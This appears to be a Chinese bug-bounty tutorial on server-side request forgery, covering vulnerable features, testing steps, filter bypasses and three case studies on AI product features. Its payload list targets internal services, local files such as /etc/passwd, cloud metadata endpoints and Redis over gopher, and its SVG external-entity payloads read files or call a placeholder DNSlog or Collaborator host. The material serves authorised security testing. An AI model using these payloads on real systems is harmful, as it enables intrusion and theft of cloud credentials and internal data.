【SRC】基础思路篇7:SSRF服务器端请求伪造完全指南
文章目录前言一、SSRF漏洞场景1. 加载远程图片2. 接口调用功能3. 生成PDF/HTML等格式文件4. 上传文件、图片SVG5. 探测内网地址二、SSRF测试方法1. 关注跳转参数2. 通过URL编码绕过3. 常用Payload基础内网IP特殊协议绕过过滤盲SSRF替换为你的Collaborator域名云元数据AWS/阿里云等4. 无回显SSRF测试5. 有回显SSRF测试三、不同框架的SSRF特征1. Flask框架2. Spring框架3. URL路径中的SSRF四、SSRF绕过技巧1. 协议绕过2. IP地址变形3. 重定向绕过4. 路径格式匹配绕过五、实战案例总结案例1URL路径中的无参数SSRF案例2AI知识库网页导入SSRF案例3AI生图功能半回显SSRF结语⚠️本博文所涉安全渗透测试技术、方法及案例仅用于网络安全技术研究与合规性交流旨在提升读者的安全防护意识与技术能力。任何个人或组织在使用相关内容前必须获得目标网络 / 系统所有者的明确且书面授权严禁用于未经授权的网络探测、漏洞利用、数据获取等非法行为。前言在SRC漏洞挖掘中SSRF服务器端请求伪造是一种非常危险的漏洞类型。攻击者可以利用SSRF让服务器向内部网络发起请求从而获取敏感信息或进行进一步攻击。本文将带你全面了解SSRF的测试思路、漏洞类型和实战技巧。一、SSRF漏洞场景1. 加载远程图片场景描述系统提供图片加载功能用户可以输入图片URL服务器会下载并显示该图片。测试方法尝试将图片URL替换为内网地址观察服务器是否会发起请求。2. 接口调用功能场景描述系统提供API接口调用功能用户可以输入目标URL服务器会调用该接口并返回结果。测试方法输入内网地址或DNSlog地址观察服务器是否会发起请求。3. 生成PDF/HTML等格式文件场景描述系统提供PDF生成、HTML渲染等功能用户可以输入网页URL服务器会抓取内容并生成文档。测试方法输入内网地址观察是否能获取内网内容。4. 上传文件、图片SVG场景描述系统提供文件上传功能支持SVG等格式的文件。测试方法上传包含外部实体引用的SVG文件实现SSRF攻击。5. 探测内网地址场景描述通过响应时间判断内网地址是否存在。测试方法不允许扫描、爆破根据响应时间来判断内网地址是否存在响应时间短表示地址存在响应时间长表示地址不存在或超时二、SSRF测试方法1. 关注跳转参数测试方法关注URL中带地址、相对路径的参数对请求参数进行测试。常见参数名urllinksrcredirecttargetreferer2. 通过URL编码绕过测试方法使用URL编码双编码参数值绕过过滤。示例原始http://127.0.0.1 一次编码http%3A%2F%2F127.0.0.1 二次编码http%253A%252F%252F127.0.0.13. 常用Payload基础内网IPhttp://127.0.0.1 http://localhost http://0.0.0.0 http://[::1] http://192.168.0.1 http://172.16.0.1 http://10.0.0.1特殊协议绕过过滤gopher://127.0.0.1:6379/_CONFIG GET dir dict://127.0.0.1:6379/info ldap://127.0.0.1:389 file:///etc/passwd file:///c:/windows/win.ini盲SSRF替换为你的Collaborator域名http://xxxxxx.burpcollaborator.net https://xxxxxx.burpcollaborator.net云元数据AWS/阿里云等http://169.254.169.254/latest/meta-data/ http://100.100.100.200/latest/meta-data/4. 无回显SSRF测试SVG外部实体注入!DOCTYPEsvg[!ENTITY returnwrong SYSTEM http://你的DNSlog地址/returnwrong]svgreturnwrong;/svg原理服务器解析SVG时会发起外部实体请求通过DNSlog确认漏洞存在。5. 有回显SSRF测试SVG文件读取?xml version1.0 encodingUTF-8?!DOCTYPEnote[!ENTITY file SYSTEM file:///etc/passwd]svgheight1000width1000textx10y10file;/text/svg原理服务器解析SVG时读取本地文件内容并回显。三、不同框架的SSRF特征1. Flask框架特征路径使用后接内网IP或恶意地址。示例http://example.com/redirect?urlhttp://127.0.0.12. Spring框架特征路径使用分隔符;后接内网IP或恶意地址。示例http://example.com/redirect?urlhttp://example.com;127.0.0.13. URL路径中的SSRF特征URL路径中包含proxy、open、fetch、get、load等关键字。示例GET /proxy/400x,95q,jpg/127.0.0.1 HTTP/2 GET /open/baidu.com四、SSRF绕过技巧1. 协议绕过方法使用不同协议绕过协议限制。常用协议http://https://gopher://dict://ldap://file://2. IP地址变形方法将IP地址变形绕过IP过滤。变形方式127.0.0.1 → 127.1 → 0177.0000.0000.0001 → 2130706433 192.168.1.1 → 0xC0A80101 → 192.168.001.0013. 重定向绕过方法利用301/302重定向实现任意URL访问。步骤上传图片到OSS获取OSS URL在攻击者服务器创建相同格式的路径将攻击者服务器上的路径配置301重定向到目标地址服务器访问攻击者路径时被重定向到目标地址4. 路径格式匹配绕过方法分析服务器URL校验规则构造符合格式要求的路径。示例原路径格式/pro/biz/u_xxx/xxx.png 构造路径/pro/biz/u_xxx/xxx.png/index.php内部放置重定向脚本五、实战案例总结案例1URL路径中的无参数SSRF发现过程分析URL路径中的关键字/proxy/发现路径包含图片压缩参数400x,95q,jpg将路径替换为DNSlog地址/proxy/xxxx.dnslog.com收到服务器请求确认SSRF漏洞存在关键技巧关注URL路径不要只关注参数。案例2AI知识库网页导入SSRF发现过程找到知识库→文件导入→网页导入功能输入内网地址测试服务器请求并返回内容输入云元数据地址成功获取云服务敏感信息关键技巧网页导入功能是SSRF高发区云元数据是重点测试目标。案例3AI生图功能半回显SSRF发现过程找到AI抠像功能分析请求流程修改ossUrl参数为攻击者域名提示算法决策超时分析路径格式校验规则构造相同格式路径使用301重定向实现任意URL访问通过图片回显确认SSRF存在关键技巧将文件名改为目录PHP重定向巧妙绕过路径限制。结语SSRF是一种非常危险的漏洞类型掌握SSRF测试技巧对于SRC漏洞挖掘至关重要。记住仔细分析每个功能点、关注URL参数和路径、灵活运用绕过技巧这是发现SSRF漏洞的关键。如果这篇文章对你有帮助请点赞支持一下有任何问题欢迎在评论区交流讨论。